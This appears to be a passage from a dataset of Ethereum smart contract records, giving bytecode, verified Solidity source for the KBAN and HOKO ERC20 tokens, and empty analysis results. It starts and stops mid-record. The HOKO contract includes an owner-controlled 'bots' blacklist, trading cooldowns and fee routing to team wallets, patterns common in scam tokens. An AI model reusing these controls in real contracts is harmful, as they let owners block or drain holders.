00191505060405180910390f35b34156104d657600080fd5b61050b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f59565b604051808215151515815260200191505060405180910390f35b341561053057600080fd5b610567600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803515159060200190919050506111ea565b005b341561057457600080fd5b6105a0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611258565b604051808215151515815260200191505060405180910390f35b34156105c557600080fd5b6105f1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611278565b6040518082815260200191505060405180910390f35b341561061257600080fd5b61061a6112c1565b604051808215151515815260200191505060405180910390f35b341561063f57600080fd5b6106476112d4565b604051808215151515815260200191505060405180910390f35b341561066c57600080fd5b61067461139c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c157600080fd5b6106c96113c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107095780820151818401526020810190506106ee565b50505050905090810190601f1680156107365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561074f57600080fd5b610767600480803515159060200190919050506113fb565b005b341561077457600080fd5b6107a0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611474565b604051808215151515815260200191505060405180910390f35b34156107c557600080fd5b6107fa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611494565b005b341561080757600080fd5b61083e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803515159060200190919050506116a6565b005b341561084b57600080fd5b610880600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061175d565b604051808215151515815260200191505060405180910390f35b34156108a557600080fd5b6108ad611786565b604051808215151515815260200191505060405180910390f35b34156108d257600080fd5b610907600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061184a565b604051808215151515815260200191505060405180910390f35b341561092c57600080fd5b610977600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a46565b6040518082815260200191505060405180910390f35b341561099857600080fd5b6109a0611acd565b604051808215151515815260200191505060405180910390f35b34156109c557600080fd5b6109f1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ae0565b005b34156109fe57600080fd5b610a1660048080351515906020019091905050611c38565b005b3415610a2357600080fd5b610a6e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611cb1565b604051808215151515815260200191505060405180910390f35b3415610a9357600080fd5b610abf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611da4565b604051808215151515815260200191505060405180910390f35b600360149054906101000a900460ff1681565b6040805190810160405280600881526020017f4d5a4920474f4c4400000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b6000610c298484611cb1565b1515610c3457600080fd5b610c3f848484611dc4565b90509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cab57600080fd5b600360149054906101000a900460ff16151515610cc757600080fd5b6b033b2e3c9fd0803ce8000000610ce98360005461218390919063ffffffff16565b101515610cf557600080fd5b600360179054906101000a900460ff1615610d6a5760011515600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610d6957600080fd5b5b610d7483836121a1565b905092915050565b600360179054906101000a900460ff1681565b610d97611786565b1515610da257600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5957600080fd5b80600360176101000a81548160ff02191690831515021790555050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ed457600080fd5b600360149054906101000a900460ff16151515610ef057600080fd5b6001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f528383610c4d565b5092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561106a576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110fe565b61107d838261238990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6111f2611786565b15156111fd57600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60066020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360159054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133257600080fd5b600360149054906101000a900460ff1615151561134e57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4d5a47000000000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561145757600080fd5b80600360156101000a81548160ff02191690831515021790555050565b60046020528060005260406000206000915054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114f057600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561153e57600080fd5b61159081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115e88160005461238990919063ffffffff16565b6000819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561170257600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006117693384611cb1565b151561177457600080fd5b61177e83836123a2565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156117e75760019050611847565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118425760019050611847565b600090505b90565b60006118db82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360169054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b3c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611b7857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c9457600080fd5b80600360166101000a81548160ff02191690831515021790555050565b6000600360169054906101000a900460ff168015611d185750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8015611d6d5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d7b5760019050611d9e565b600360159054906101000a900460ff1615611d995760019050611d9e565b600090505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611e0157600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611e4f57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611eda57600080fd5b611f2c82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fc182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061209382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561219757fe5b8091505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121ff57600080fd5b600360149054906101000a900460ff1615151561221b57600080fd5b6122308260005461218390919063ffffffff16565b60008190555061228882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082821115151561239757fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156123df57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561242d57600080fd5b61247f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820dcded15a6a3584d71081d9b42ad512199446b8d222a2b58074c6eb85065b91c20029
{"success": true, "error": null, "results": {}}
1,212
0x4b84bd79e4229e7576d4d6dbc4502f071dd31e0a
/** *Submitted for verification at Etherscan.io on 2021-05-10 */ //SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); require(_totalSupply <= 1e28, "_totalSupply exceed hard limit"); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ManekiNeko is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("Maneki-neko Lucky Koban Coin", "KBAN", 18) { governance = msg.sender; addMinter(governance); // underlying _mint function has hard limit mint(governance, 1e28); } function mint(address account, uint amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function burn(uint256 amount) public { _burn(msg.sender, amount); } }
0x734b84bd79e4229e7576d4d6dbc4502f071dd31e0a30146080604052600080fdfea265627a7a7231582075734aca74666b94efe2bf025b35db964182f1eb019f745f416d3cfdec5229df64736f6c63430005110032
{"success": true, "error": null, "results": {}}
1,213
0x5Fa872f06a61d6C7Cd2B998Fd91A5DeD99EA5512
/** *Submitted for verification at Etherscan.io on 2021-06-04 */ // Hiroko Inu (HOKO) // Name: Hiroko Inu // Symbol: HOKO // Total Supply: 1,000,000,000,000 // Decimals: 9 // Telegram: https://t.me/hirokoinu // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HIROKOINU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Hiroko Inu"; string private constant _symbol = "HOKO"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (45 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), 